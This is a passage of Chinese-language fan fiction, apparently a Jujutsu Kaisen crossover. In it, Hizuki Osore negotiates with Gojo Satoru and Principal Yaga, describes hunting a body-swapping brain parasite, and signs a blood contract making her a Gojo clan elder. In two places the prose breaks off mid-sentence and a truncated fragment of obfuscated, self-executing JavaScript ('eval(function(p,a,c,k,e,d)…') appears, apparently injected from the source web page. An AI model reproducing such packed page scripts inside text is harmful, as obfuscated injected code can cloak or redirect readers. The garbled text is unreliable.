绯月畏的手,停在了夜蛾咽喉前一寸之处,无法再进分毫。 “诶——绯月小姐,这个人不行哦!”熟悉的欢脱声音响在耳边,夜蛾正道额角冷汗都渗了出来,后知后觉汗毛都竖了起来。 五条悟不知何时已出现在夜蛾身侧,另一只手还插在裤兜里,姿态悠闲。他歪着头,透过眼罩“看”着绯月畏,嘴角勾起惯有的弧度: “绯月小姐,对我们和蔼可亲的校长动手,可是会被扣印象分的!” 绯月畏收手,表情未变,只是墨镜后的目光冷冷扫过夜蛾肩上那只手——无下限。 她理了理袖口:“试探而已。你不也躲着看够了才出来?” “误会,纯属误会!”五条悟从夜蛾身后晃出来,凑近打量着绯月畏,语气欢快,“人家明明是刚来的……不过你居然真的会找来这里。我可以理解为,绯月小姐这是有‘出山’的意思了吗?” 绯月畏侧头看向五条悟,对方还是那身熟悉的黑色制服和黑色眼罩,和去年初见时没有任何区别。一年的时间,足够她搞清楚咒术界的基本情况,也足够她了解“束缚”这个东西了,了解清楚以后才知道她当初怕是被五条悟暗中设局了,以了解到的这个“最强”的实力和势力,他肯定是可以根据这个束缚倒过来定位她的行踪的!但是知道得也晚了,束缚已经定下了! 绯月畏没有接这个话题。她的手指轻轻捻过袖口的银白茶花袖扣,语气平淡却带着一丝冰冷的锐意:“或许我们应该先‘叙叙旧’。毕竟,我需要确认一下,你这大半年是不是只顾着长个子,没长脑子。” 是她想出山的吗?再不出来咒术界的蚊子连山里的树都要一棵棵砍下来“检查”,直到把她找出来为止——显然五条悟的收尾工作做得不够专业和专心。绯月畏用长生种的身份表示,不算她沉睡的一万年,便是她清醒的数千年里,她都从没受过这种委屈。 这群人类虽然实力孱弱,但是做法令她恶心。 “哇,好伤人的话!”五条悟捂住胸口,做受伤状,随即又立刻变脸,热情地张开手臂,指向山上林荫掩映的校舍,“不过既然来都来了,站在门口喝风多没意思!走走走,我带你参观一下我们学校!虽然没什么豪华设施,但比你看腻了的山头肯定有意思多了!说不定还有惊喜哦!” 他侧身让开道路,做了个夸张的“请”的手势,姿态却带着不容拒绝的意味。 夜蛾正道默默地退开两步,抽出一支烟夹在手上,决定将眼前这个明显超出常规范畴的“访客”交给五条悟全权处理。他瞥了一眼五条悟,后者给了他一个“安心”的浅笑。 绯月畏沉默了片刻,目光越过五条悟,投向山林深处若隐若现的建筑轮廓。最终,她没有再说什么,迈开脚步,踏上了通往咒术高专的石阶。 五条悟立刻跟上,与她并肩而行踏上阶梯一路向上。悄没声地看着对方毫无阻滞地穿过结界走进大门后突然回头往空荡荡的地上看了一眼。绯月畏抬眸,意味深长地看了五条悟一眼,然后什么也没说。五条悟嘴角笑意扩大,随后开始用他那特有的、活力过剩的语调介绍起来:“那边是教学楼,老房子了不过挺结实……那边是训练场,经常被拆……啊,宿舍在那边,虽然人不多但都挺有活力的……” 看着一黑一白的两道身影消失在蜿蜒的山路尽头后,夜蛾正道吐出一口烟圈,看了看恢复寂静的鸟居,摇了摇头,坐回车里。走另一条路开车上山。而山上,某个聊天群里的消息还在飞快刷新: 【进来了!五条老师把人带进来了!】 【并肩走!有说有笑(单方面)!】 【气场好奇妙,又冷又飒!】 【绝对有故事!我赌一年的任务奖金!】 【楼上土豪!跟了!】 【安静!小心被五条老师发现!】 春寒料峭,山风裹挟着残雪的气息。一场始于束缚、交织着追踪、试探与未知目的的会面,在这所培养咒术师的学校里正式开场。古老的始祖踏入了现代术师的领域,而最强的咒术师,则欣然迎接这份来自世界之外的“惊喜”。 雪化的时节,咒术高专内,樱花悄然开放。 6. 一颗脑子 兜兜转转了一圈,最后还是坐进了校长室内。大门在身后合上,隔绝了走廊的光线。 室内陷入一种微妙的沉寂。夜蛾正道回到宽大的实木办公桌后,目光落在相对而坐的两人身上——五条悟斜靠着沙发,一手搭在扶手上,眼罩换成了墨镜。姿态看似随意,但墨镜下的视线却带着惯有的锐利;而那位白发女子坐姿端正,背脊笔直如尺,双手交叠置于膝上,像一尊冰冷的雕塑。 明明是截然不同的姿态,空气里却弥漫着某种相似的、令人下意识屏息的“场”。当两人同时将视线转向夜蛾时,两张同样雪白、同样年轻、同样白发甚至是同样带着墨镜的脸……那种五条悟×2的即视感——这位身经百战的校长感到后颈的皮肤微微绷紧。 首先是五条悟,对夜蛾正道隆重的介绍了一下这位陌生的女士,声音里带着他特有的、介于玩笑与宣告之间的语调:“这位——战力约等于五条悟2.0的女士——绯月畏小姐,去年刚刚得知咒术存在的纯‘野生’特级咒术师!” 透露出的信息把夜蛾正道吓得心脏都差点停跳,看向绯月畏的眼神越发忌惮起来。 “而这位——”他转向绯月畏,指尖随意地点了点夜蛾的方向:“这位是东京咒高,也就是我们脚下所处的这所学校的校长,夜蛾正道。当然,这并不重要——”他嘴角勾起一个弧度,“接下来隆重向你介绍一下我,本人——” “不需要。”绯月畏打断他。 “诶?”五条悟发出声音表达疑惑。 当绯月畏从兜里摸出一只最新款的iPhone时,五条悟甚至压低了墨镜用来表达出自己的惊讶,好像看到猴子穿上了人的衣服一样的惊异——且冒昧。 金属边框在室内光线下泛着冷光。解锁,指尖在屏幕上划过几道精准的轨迹,然后将屏幕转向五条悟。 “这是你,对吧?” 那是一个设计阴郁的暗网论坛界面,置顶的悬赏帖里,五条悟的高清正面照占据大半版面。下方密密麻麻列着能力分析、行动规律、战术偏好,甚至包括身高体重的精确数据。悬赏金额的数字长得令人咋舌,后面跟着的零多到需要数秒才能确认。 五条悟身体前倾,墨镜微微下滑。他盯着屏幕看了几秒,忽然指着某一行小字:“错了。我身高195,这里少写了3厘米。” 绯月畏收回手机,对他的抗议置若罔闻,仿佛那只是背景噪音。 “我需要了解咒术界的权力架构。”她放下手机,身体向后靠进沙发深处。那姿态不像询问,更像在听取一场早已预定的汇报。“从决策核心到执行链条,各派系的力量对比、利益纠葛,以及……最关键的制衡点。” 五条悟挑了挑眉,坐直身体,长腿交叠。“哇哦,”他拖长语调,“这是把最强当政治顾问了?”话虽如此,他的手已从制服内袋摸出自己的手机,“来加个好友,基础资料可以给你现成的。不过真正‘有趣’的部分……”他笑了笑,那笑容里有某种夜蛾熟悉的、属于算计者的光,“得面对面聊。” 夜蛾正道:“……”他有点跟不上。 夜蛾看着两人迅速交换联系方式。绯月畏的手机震动一下,邮件提示音在安静的室内格外清晰。她没有立刻查看,只是将手机屏幕朝下放在茶几上,动作里透出一种掌控节奏的从容。 “你可以慢慢看。”五条悟说完,忽然站起身,朝夜蛾做了个出去的示意动作,随后转身走出校长室。 夜蛾校长看了一眼坐在沙发上翻开手机的绯月畏,起身跟出去。绯月畏在房门合上时眼神往门口移了一下,随后转回来继续翻看五条悟发给她的来自五条家不知道哪个冤大头整理的“关于当今咒术界相关”的资料。 走廊转角处,窗外的光线将五条悟的影子拉得细长。他摘下墨镜,用指尖揉了揉眉心,这个细微的动作暴露了某种程度的紧绷。 “悟。”夜蛾压低声音,目光锐利,“你刚才说的……她真有特级实力?而且是去年才接触咒术界?” 五条悟沉默了几秒。再开口时,声音里没了平时的轻佻,取而代之的是一种夜蛾很少听到的、近乎冰冷的审慎: “恰好是去年的今天,我跟她打过一场。” 他说得简略,刻意模糊了细节——那些关于空间撕裂、非咒力体系、以及那双猩红眼眸的记忆,都被他压在话语表层之下。“她当时状态不完整。我在保留底牌的情况下,战斗结果可视为平手。” 他顿了顿,重新戴上墨镜,镜片后的视线望向窗外远山。“现在她状态恢复了。如果全力交手……”他停顿得更久,“结果难以预测。但可以肯定的是,那会是咒术界现有记录之外的另一场‘定义战’。” 夜蛾从口袋里摸出烟,没有点燃,只是捏在指间反复摩挲。“你想让她进高专?” 五条悟笑了,“校长,你觉得可能吗?”他歪了歪头,语气轻快,眼神却锐利如刀,“看看那位小姐通身的气场。她是会接受调遣、遵守规则的类型?那位小姐怎么看都不像是守序的好人吧?你确定让她加入高专你能给到她足够她站在秩序这一边的羁绊?说实话——不可能的啦!去年我第一次见她就是她‘大义灭亲’的场景诶!她在咒术界没有任何羁绊,是个彻彻底底的自由身,又是生来高贵的上层人士,实力站在认知的边界,行事风格……” 他想起烂尾楼里那场静默的“清理”,话语在这里微妙地停顿,“……有着自己的准则。让她进高专听总监部那些老家伙指手画脚?不如指望我明天就当上总监。” “……”想点根烟缓解一下,但是想了想还是捻在手上没动。夜蛾校长眉头皱得能夹菜,“她太危险了。” “——所以更不能让她成为敌人。”五条悟打断他,语气依旧轻松,但每个字都带着重量,“她第一个找上的是我。这意味着什么,校长你应该明白。”他摊开手,掌心向上,像在展示一张看不见的牌,“一个活生生的、全新的特级战力,站在选择的十字路口。我们是要把她推到对面,还是……” “你有什么计划?” 五条悟闻言一摆手,摆烂得理直气壮,“没有。” 五条悟转身走向校长室,但在迈步之前侧头望向夜蛾正道,问:“不过夜蛾校长为什么首先考虑对方会不会加入高专?” 闻言夜蛾正道惆怅地叹了口气,“高一开学的时候到了,还以为是你新找来的学生。你确定对方不是高中生吗?” 五条悟诡异地对此保持了十多秒的沉默,然后在夜蛾校长看过来时笑着说:“嗯……不确定呢。” 既然是“始祖”,怎么也不可能才十多岁吧?那张脸果然是长得很有欺骗性啊…… “悟!” 五条悟转回头,脸上的笑容加深了,那是一种夜蛾很少在他脸上看到的、混合了战略野心与纯粹兴奋的表情。 “不需要计划,我会给她一个无法拒绝的‘提议’。”他说,“不是以学生或下属的身份,而是以……对等合作者的身份。她要的不会是束缚,而是高度。而我恰好能给她这个高度。” “五条家?” “准确说,是我。”五条悟纠正,指尖无意识地点了点自己的胸口,“五条家只是载体。她要的是‘立于同一层面的盟友’,一个能让她自由行动、又不至于沦为众矢之的的支点。而我能提供的,恰好是这个。” 夜蛾沉默了。他太了解五条悟——这个看似玩世不恭的学生,骨子里藏着怎样缜密甚至冷酷的战略思维。当五条悟用这种语气说话时,意味着他已经看清了整盘棋的走向。 “她能同意?” “她会。”五条悟转身,重新走向校长室,步伐从容得像走向早已确定的终点,“因为她没有更好的选择。而我很擅长……”他顿了顿,在推门前回头,墨镜后的目光锐利如刃,“让人在看似自由的选择中,走向唯一正确的答案。” 推开门时,绯月畏已经放下手机。她单手支颐靠在沙发扶手上,指尖无意识地点着太阳穴,听到动静,抬起头。 那双被墨镜遮住的眼睛转向门口,夜蛾莫名感到一阵微妙的压迫感——不是敌意,而是一种高位者审视局面的、冰冷的专注。 “纸和笔。”她说,声音平静得像在吩咐仆人。 五条悟歪了下头,没有询问原因,径直走到夜蛾的办公桌旁——他甚至没有看抽屉的位置,而是当着夜蛾校长的面直接拉开了第三个抽屉,仿佛对这个房间了如指掌。他熟练地从里面取出A4纸和一支黑色签字笔,转身递给绯月畏。 动作流畅得如同预设的程序。 绯月畏接过,将纸铺在光洁的茶几表面,俯身开始作画。笔尖划过纸张的声音沙沙作响,节奏平稳得近乎诡异——每一个笔触都精准、肯定,没有任何犹豫或修改。 一张简单的素描人头像在笔下逐渐成形。五条悟和夜蛾正道凑了过去,夜蛾正道看得一脸茫然,五条悟则是悄悄地拉下镜框把一双湛蓝的眼眸露了出来,满眼都是意料之外与兴致盎然。 第一幅素描逐渐成形——一个面容普通的中年男性,眼神空洞得令人不适。绯月畏画得极其精细,连额角一道细微的旧疤、眼角的皱纹走向都清晰再现,仿佛那不是素描,而是黑白照片的复刻。 五条悟的墨镜微微下滑。他认识这个人——数月前,大阪分部死亡的一级术师之一。 第一张画完占据了半页内容,绯月畏没有任何停顿,笔尖移动到另一半开始画第二幅。同样是男性,年纪稍轻,嘴角有颗痣,眼神里有种刻意伪装的温和。 五条悟眼神微凝——这是大阪分部第二次袭击中死亡的术师。 等到绯月畏画完了翻页,第三幅画开始在笔下逐渐成形。这次是个气质冷峻的中年人,颧骨偏高,嘴唇抿成一条直线,眼神锐利得像能刺穿纸张。 禅院家的人。横滨分部唯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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绯月畏靠回沙发,墨镜遮住了她的眼神,但周身散发的寒意几乎让室内的温度下降了几度。直觉告诉五条悟,绯月畏处在一种情绪濒临爆发的边缘,原因可能就来自被她画下来的这三个人,毕竟总监部死了二十几号人,御三家也死了一个,却没有一个是被咬过的。 看来这位小姐身上有一件秘密武器。 “他们是怎么得罪你的?” 五条悟靠在桌子上,好奇询问。 “我第一次察觉到异常,是在离开暂住地时。有人在通过监控网络追踪我。最开始因为不清楚是因为我短暂落脚的那个山村有什么我没发现的特别之处,还是因为我本人暴露了?所以最开始没理会。直到对方阴魂不散地追在我后面不放。于是我反向追溯,最后在大阪找到了这个人——”她点了点第一幅画。“一照面我就知道他不是活人。没有心跳,血液凝滞,但能流畅地说话、思考,甚至能使用术式。”她顿了顿,像在回忆某个令人不快的细节,“我认为从尸体上得不到什么有用的情报,于是我想直接先处理了他,以及他身边的人。但几天后,追踪再次出现。” 她指向第二幅画。 “监视来自各种监控镜头和偶然的某个行人身上,这次花了点时间,结果又回到那个地方了!” 绯月畏身上气息逐渐变得险恶起来,五条悟低头看了一眼手臂,他手上鸡皮疙瘩起来了 “同一个地点,同一具‘尸体’——不,应该说,同一个‘操控者’,换了一副躯壳。”绯月畏的语气里透出一丝罕见的、近乎厌恶的情绪,那情绪很淡,却让话语的重量增加了十倍,“言行举止完全是另一个人,思维模式、行为逻辑都变了,但周围的人毫无察觉。他利用新身份继续调查我,分析我的行为模式,甚至还能拿到他的上一任藏起来的这种关于我的资料收集信息,我觉得很有意思,稍微观察了一段时间,最终确定了这就是同一个人。” 五条悟和夜蛾对视一眼。两人都听出了这件事背后的恐怖——一个能完美伪装、操控尸体、且对咒术界高层机构了如指掌的未知存在,正在暗处编织一张网。 “但当我找上门时,他提前察觉了。”绯月畏继续说,声音越来越冷,像冰层下的暗流,“那具躯壳在我面前……又一次‘自毁’了。”绯月畏有些懊恼,“我大意了,我没想过一颗大脑也能成精,还是见识太少,导致他跑了!” 五条悟挑出了重点:“大脑?” 绯月畏看了五条悟一眼,不知道从对方被墨镜挡住了一半的脸上看出了什么东西,语气里多了一分疑惑和两分幸灾乐祸,“对,一颗大脑,准确地说是脑髓!”绯月畏指尖圈出一小半个拳头的大小,“一颗粉色的、软趴趴滑溜溜但是会动的脑髓!” 夜蛾校长嘴角抽了一下,好了,现在很有画面了… 7. 盟友 校长室内变得死寂,窗外的风声突然变得清晰。 绯月畏抬手拖着下巴,眉心拧起,好像想起什么很费解的东西,声音都沉闷了下去:“我追到横滨,失去了踪迹。再发现时,他已经换成了一个女性的身体,有家庭,有社会关系,看起来完全正常。”绯月畏的指尖在膝盖上轻轻敲击,那节奏平稳得令人心悸,“唯独额头那么明显的一道缝合线——周围所有人,包括她的‘家人’,都视而不见。” 异世界来这么一遭,始祖突然觉得自己还是太年轻,见识远远不够,于是错过了一旁的五条悟和夜蛾正道脸上的同样“长见识了”的表情。 “我不想引起过多关注,所以这次她的身份让我不太好动手,毕竟我可没有他那个让尸体像个活人一样行动的本事。不过这次他进入横滨显然很匆忙,我很轻易就找到了和她接头的人,我不清楚他们的关系,但是显然狼狈为奸,沆瀣一气,甚至在那个女性不方便行动的时候,这个人还会接过她的‘工作’继续躲在暗处对我进行各种调查。直到他们开始尝试接触这个国家明面上的普通人的官方机构准备调查我了。我也没想那么快动手的,毕竟这颗脑子看起来还有很多可以挖掘的东西。” 她看向五条悟,指尖在膝盖上敲了敲,墨镜后的目光像能穿透镜片:“我处理掉了他的接头人。”笔尖点在第三幅画上,“但他本体已经逃走,非常迅速地抛弃掉那个女性宿体跑掉了。所以我来找你。这东西,应该属于咒术界的管辖范围。” 五条悟转头看向夜蛾正道,正巧校长也看了过来,五条悟的脸色看不出来,起码夜蛾校长脸上已经端不住了,露出了显而易见的迷茫。 没见过。 都没见过。 甚至作为御三家之一,五条家家主的五条悟都表示,他也没见过这玩意,看来是时候回去翻翻那些腐朽的典籍了…… “哦——”五条悟忽然以拳击掌,恍然大悟地抬手一指绯月畏,斩钉截铁道:“所以你是来自首的!” 夜蛾正道看了五条悟一眼,然后默默陷进了办公桌后面,要是记得不错的话,去年他就是靠着这句话把秤今次和星绮罗罗骗……招进咒高的。现在场景重现,但是夜蛾校长对五条悟把绯月畏哄进学校的信心……不太足。 先前不清楚,但是在他们一番对话以后,通过绯月畏对自己所作所为的“供述”,夜蛾正道已经对上了前几个月发生的“总监部分部血案”,这位绯月畏女士就是行凶之人。本身就是最强2.0的实力,听起来又是一个行事果决,一言不合斩草除根的形式准则,夜蛾正道不认为五条悟能从对方身上达到自己想要的结果,要么结果一定会出现偏差,要么…… 夜蛾正道小心地觑了一眼沙发上气质也最强2.0的绯月畏,对方似是发现了他的目光,侧了下头,要么……五条悟将付出巨大的代价。 “自首?”绯月畏看了一眼桌子后面坐着的夜蛾正道,对五条悟说:“我做了什么?你们咒术界有一套独立且凌驾于普通人宪法之上的法则,一切以总监部的意志为首,你五条悟什么时候和总监部蛇鼠一窝了?还是说你在以你个人的意志为准则对我进行某方面的审判?” 五条悟按了按额头,试探道:“如果以最强的名义?”反正绝对不要和总监部的烂橘子们被相提并论! 绯月畏抬手勾下墨镜挂在鼻梁上,露出一双暗红的眸,房间里气氛顿时凝滞,气温肉眼可见地开始下降,绯月畏抬眸,从镜架上方看向五条悟,有种危险一触即发,她慢悠悠地说:“那我少不得要试试,给‘最强’换个名字……” 五条悟举起双手,笑着轻声呢喃,“绯月小姐倒是无所谓,我可不想大清早地把校长室给拆了,夜蛾校长生起气来好恐怖的——” 绯月畏把眼镜推回去,靠回了沙发上,全程没有让夜蛾正道看到那双猩红的眼眸。五条悟也在她勾下眼镜的时候状若无意地换了个站姿,挡住了夜蛾正道看过来的视线。 绯月畏进入房间后依然没有摘下眼镜,看起来以绯月畏的贵族教养应该不会做出这么失礼的行为,可她偏偏做了,当时五条悟就有所猜测。毕竟那双红到浸血一样的眼睛,漂亮到了一种诡异的地步,要是被夜蛾校长看见了,怕是第一时间就会怀疑绯月畏的身份,于是五条悟也顺理成章地没有提起。 直到现在去掉墨镜“直视”那双血瞳,五条悟体内的好战因子突然就沸腾了起来,这种感觉……这种面对一个和自己相同境界甚至更高一层的不同领域的强者的兴奋感,从“对视”的那一刻开始,身上的咒力开始翻涌,跃跃欲试,蠢蠢欲动,一个控制不住,真就要大打一场,然后拆掉无辜的校长室了…… 伤好以后的绯月畏,那股强横的气势从眼角泄露出来,所有与那双眼睛对视的人,要么不怕死地上去找死一场,求仁得仁;要么当场就得跪下! 那是属于一个领域的强者独有的气场,便是绯月畏现在松散慵懒地靠坐在沙发上,白色的姑娘和黑色的沙发形成鲜明对比,在五条悟眼里,那股孱弱圣洁的白压过了身下死寂的黑暗,成了他视线中唯一的色彩。 强者之间会互相吸引。 绯月畏能感觉到五条悟身上“咒力”在翻涌,她不认为这是什么奇怪的东西,当初那个冷静自持的玖兰枢,见到她的时候不也是第一时间就动手了吗? 五条悟沉默了很久,久到夜蛾几乎以为他们要动起手了。然后,他摘下墨镜,苍蓝色的六眼完全睁开,那双眼眸里没有平时的戏谑,只有冰冷的、洞悉一切的分析之光。 “你希望我做什么?” “两件事。”绯月畏竖起两根手指,动作干脆利落,“第一,动用你的资源和情报网,查清楚这是什么。第二,在我找到他之前——”她顿了顿,每个字都像冰锥钉进空气,“确保他不会继续用这种方式从我的视线里‘消失’。” 五条悟笑了。不是平时那种玩世不恭的笑,而是一种棋逢对手的、带着锐意和欣赏的笑。 “听起来,绯月小姐是在提议……战略合作?” “你可以这么理解。”绯月畏重新戴上墨镜,遮住了那双可能泄露太多情绪的眼睛,“但合作需要基础。我现在需要一个合法的、能在咒术界自由行动的身份,以及不受干扰的行动权限。” 五条悟重新戴上墨镜,身体向后靠在桌沿,双手插进口袋。 “选项不多。现在绯月小姐肯定已经不可能再一无所察地脱离咒术界生活了,但是进入咒术界就如同你刚才看到的资料上写明的,所有咒术师一律经受总监部的调派。目前唯一的例外就是特级咒术师九十九由基,她常驻国外,但是咒术界遇到大事时她依然拥有不小的话语权。我不否认绯月小姐拥有成为特级术师的实力,但是我不认为总监部对你来说是个好选择——那些老家伙会想尽办法控制你、研究你、把你变成他们的工具。 诅咒师阵营——里面有个满口大义的特级,你应该不会喜欢那种氛围。剩下的……”他摊开手,掌心向上,像在展示唯一的答案,“只有我这里。” “五条家?”绯月畏的语气听不出情绪,但夜蛾注意到,她的指尖在膝盖上停止了敲击。 绯月畏缓慢地眨了下眼,透过墨镜看出去,一长条的五条悟靠坐在桌子上,一头白发朝天冲着,露出的下半张脸轻抿唇角,比那副漫不经心的样子多了两分来自“最强”的气势。 “五条家对我难道就很有吸引力吗?” “准确说,是我。”五条悟纠正,他向前倾身,墨镜后的目光锁定绯月畏,“我可是五条家的家主,我以家主之名,给你绝对的自由和同等权限——” 说到这里,五条悟突然想起来烂尾楼初见那一次,从“弟弟”嘴里冒出来的那句称呼,于是笑容更大了,“再说了,一个不需要你管理、也不需要你兜底、甚至不需要你搭理的大家族做后盾,绯月家主——我想没有比这更吸引人的事情了不是吗!” 五条悟把话都说白了,再加上刻意露出那双眼睛的行为,绯月家主有理由怀疑五条家主在企图通过色-诱她来达成让她加入五条家的目的。 绯月畏指尖在下颌点了点,让她想想,这个场景在哪见过呢……啊!想起来了……那些贵族求婚的现场!一时之间,看向五条悟的眼神都有些嫌弃。 绯月畏看向五条悟,这个条件确实很吸引她,但是…… “你想以什么身份让我进入五条家?” “客卿。”五条悟毫不犹豫,“享有等同于长老的权限和自由。不需要你管理家族事务,不需要你承担传统义务,只是一个……名义上的同盟,实质上的战略合作伙伴。一个特级实力的客卿,我敢保证那些老头子会把你供起来,你说一他们不敢说二。” 绯月畏没有立刻回答。她站起身,走到窗边,背对着两人。窗外是咒高寂静的庭院,早春的樱花已有零星绽放,粉白的花瓣在风中缓缓飘落。 良久,她转身。逆光让她的身影显得格外修长,白发在光线中几乎透明。 “我不做客卿。”她说,声音平静却带着不容置疑的分量,“我要长老席位。不是荣誉头衔,是拥有实权、参与核心决策、能在必要时调动家族资源的长老。” 夜蛾心头一跳——这等于要在五条家传承千年的权力结构中,硬生生撕开一道口子,塞进一个外来者。 “我要管理权。我既然加入你五条家主的阵营,那么五条家我管不管和能不能管这是两回事。我可以不插手五条家现有体系的日常运作,但是我必须有五条家不能插手我的事情的权利。” 五条悟愣了下,抬手托着下巴开始思索,全然不晓得身后的夜蛾正道已经听的额头冒出了细密的冷汗。 这两个人的对话,真是越听越不妙啊。他好像在见证一场赌上整个家族的“求婚仪式”!双方还没觉得有任何问题! 良久后,五条悟想通了,这要他,他也会这么干的! 于是他大手一挥,“没问题!从今往后,你不能干涉五条家现有体系的日常运作。你的权限只针对‘外部战略事务’,尤其是……与我们共同的‘目标’相关的事务。内部管理,留给现有的长老团。” 话音刚落,绯月畏从兜里摸出来两张纸,起身从夜蛾校长桌上抽了一支笔,递给五条悟,“契约。”她将纸推给五条悟,动作从容得像在递出一张早已准备好的牌,“用我的方式。” 五条悟接过。文字内容正是刚才他们达成的协议,一字不差,甚至补充了许多他未曾提及的细节条款、制约条件、权力边界。契约末尾已经签好了一个名字,用的是一种陌生的文字,笔迹优雅冷冽,是不属于当今世界范围内任何一个国家使用或曾经使用过的文字。 他抬头看向绯月畏,笑容更深了,那笑容里混合了棋手看到精妙布局时的兴奋,以及对手出乎意料时的警觉。 “你早就准备好了。”这不是疑问,而是陈述。 “我从不打无准备的仗。”绯月畏平静地说,仿佛在陈述一个基本事实,“签,还是不签?” 五条悟没有犹豫。他甚至没有征求夜蛾的意见——这一刻,他不再是高专教师,而是五条家的家主,一个站在权力顶端的决策者。他从夜蛾桌上拿起那支昂贵的钢笔,在另一份契约上签下自己的名字——“五条悟”,笔力遒劲潇洒,像斩开空气的刀锋。看到旁边红色的指印后也划破食指充作印泥,蘸在两个大拇指上按了血印上去。 就在血印接触羊皮纸的刹那—— 房间里的空气凝固了。 时间仿佛被拉长。两道红蓝交织的光阵从契约表面升起,开始时只有巴掌大小,随即迅速扩大、蔓延,化作无数繁复的符文在空气中旋转、重组。阵纹复杂得超出认知,每一个符号都仿佛拥有独立的意志,彼此勾连,形成一座立体的、流动的规则之网。 夜蛾感到一股古老而庞大的威压弥漫开来——那不是咒力的压迫,而是某种更深层的、源于生命本源与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“契约成立。”绯月畏说,仿佛那印记的存在理所当然,如同日出日落般自然。她收好其中一份空白羊皮纸,动作从容地将它随意折起来像随身纸巾一样重新塞回兜里。“从今天起,我是五条家的长老。相应的权限、资源、身份证明,我希望在四十八小时内落实。” “当然。”五条悟重新戴上那副玩世不恭的笑容,但手指无意识地摩挲着脖颈上的印记——那个动作很轻微,却被夜蛾看在眼里。“欢迎加入,绯月长老。” 他走到门边,拉开门,做了个“请”的手势。 “作为见面礼——我先带你去看看你的临时居所。虽然是高专的客房,但至少……”他顿了顿,笑容里多了几分深意,“比你在山里落脚的地方舒服。之后,我们再详细讨论……如何找到我们共同的‘朋友’。” 绯月畏没有拒绝。她朝夜蛾微微颔首——一个矜持而疏离的礼节,像贵族对管家示意——然后走出校长室,白发在走廊的光线中划出一道冷冽的弧线。 五条悟跟了出去,门在两人身后轻轻合拢。 校长室里重归寂静。 夜蛾站在原地,许久没有移动。他的目光落在茶几上——那里还放着绯月畏留下的素描,黑白的人脸在纸上静静回望。他又看向办公桌上那张空白的羊皮纸,纸张光滑,没有任何书写痕迹,仿佛刚才的一切都是幻觉。 但五条悟脖颈上那个暗红色的印记,是真切存在的。 夜蛾缓缓坐回椅子里,点燃那支捏了许久的烟。烟雾在空气中缓缓上升,扭曲,散开。 夜蛾回忆起刚才的每一个细节:绯月畏从容不迫的姿态,她每一句话的精准时机,她提前准备好的契约,她对五条悟反应的预判,以及最后那个烙印般的印记…… 然后,他想起五条悟在走廊里说的话:“我很擅长让人在看似自由的选择中,走向唯一正确的答案。” 夜蛾深深吸了一口烟,让辛辣的烟雾充满肺部。 他现在不确定了。 从绯月畏踏入这间屋子开始,整个对话的节奏、走向、每一个转折点,似乎都在她的掌控之中。五条悟以为自己是在下一盘棋,拉拢一个强大的盟友,在咒术界的棋盘上落下一枚关键棋子。 但夜蛾看着那张空白的羊皮纸,看着素描上那些死去的人脸,看着空气中尚未完全散去的、古老契约的余韵—— 他忽然意识到,也许五条悟才是那个走进棋盘的人。 而绯月畏,从一开始就是执棋者。 她进入咒术界,加入五条家,要的从来不是一个“位置”。她要的是一把刀——一把能劈开迷雾、斩断阻碍、将她那个“目标”从阴影里逼出来的刀。咒术界就是她看好的那把刀。五条家是刀鞘,五条悟是刀柄,而她才是握刀的手。 至于这场交易的本质……夜蛾想起谈判的最后条件: 她要长老实权,但不插手家族运作。 五条家给她提供一切便利,但不能干涉她的行动。 这听起来是互相制约的平衡条款。 但是夜蛾在咒术界高层周旋多年,太清楚权力的本质——当一个人拥有调动资源的权力,却不需要承担管理的责任;当一个人能自由行动,却有一个庞大家族在背后兜底…… 那这个人,本质上已经成为这个家族的“另一位家主”。 不,甚至更高——因为她只有权力,没有义务。 五条悟知道吗?他当然知道。他知道,但他还是签了。 因为作为三大特级之一的最强特级咒术师,五条悟也需要一把刀。他需要一个不受咒术界规则束缚、能打破现有平衡、能帮他清理阴影的“外力”。 所以这不是一场简单的招揽。 这是一场两个立于顶端的强者,在步步试探、互相衡量、彼此妥协后,达成的心照不宣的共识。他们各自握有对方需要的东西,各自保留了自己的底线,然后在那张古老的羊皮纸上,签下了一个将彻底改变咒术界格局的契约。 夜蛾掐灭烟蒂,看着窗外的樱花。 起风了…… 8. 教师执照 对于绯月畏加入五条家这件事情,不管是当事人绯月畏还是五条家家主五条悟都没有任何问题且没有过多关注,甚至绯月畏从始至终都没有去一趟位于京都的五条本家。 当五条悟突然在一个平平无奇的大中午召开会议,然后在家族会议上宣布新增一位长老时,五条家的长老团并未太过在意。 家主心血来潮不是新鲜事。只要不触及家族根本利益,多一个荣誉头衔无伤大雅。直到他们拿到权限清单——这位长老不参与任何家族事务管理,却享有与家主同等的资源调配权、情报查阅权、甚至在某些事务上拥有否决权。 长老们炸了。 整整一天,五条悟的手机震个不停。他索性把手机扔在茶几上,任由它像只垂死挣扎的昆虫般嗡嗡作响,自己则蒙着眼罩,两口一个草莓大福,腮帮子鼓得像只仓鼠。 “这个真的很好吃哦——”他把剩下的半盒往对面推,“尝尝嘛,绯月长老~” 绯月畏端着一杯红茶,手里拿着到手两个月还是新鲜期的现代电子产品——手机,良久后,她视线落在另一部正在震动的手机上。那是五条家某位长老的私人号码,已经拨了十七次。她伸出食指,指尖在屏幕上方悬停片刻,轻轻一点。 震动停止了。 不是挂断,是某种更彻底的“静默”——手机屏幕暗了下去,仿佛突然耗尽了所有电量。 她端起茶杯抿了一口,继续翻阅五条悟发来的长老团资料。手机屏幕在她指尖笃笃作响,每一个名字后面都标注着详细的派系、能力、过往决策倾向,甚至包括一些不为人知的“小秘密”。 五条悟咽下最后一口大福,伸手去拿桌上的汽水。 “你在东京咒高任教。”绯月畏忽然开口,声音平静得像在陈述天气,“我不相信你有教师执照。” 五条悟的手指僵在半空。 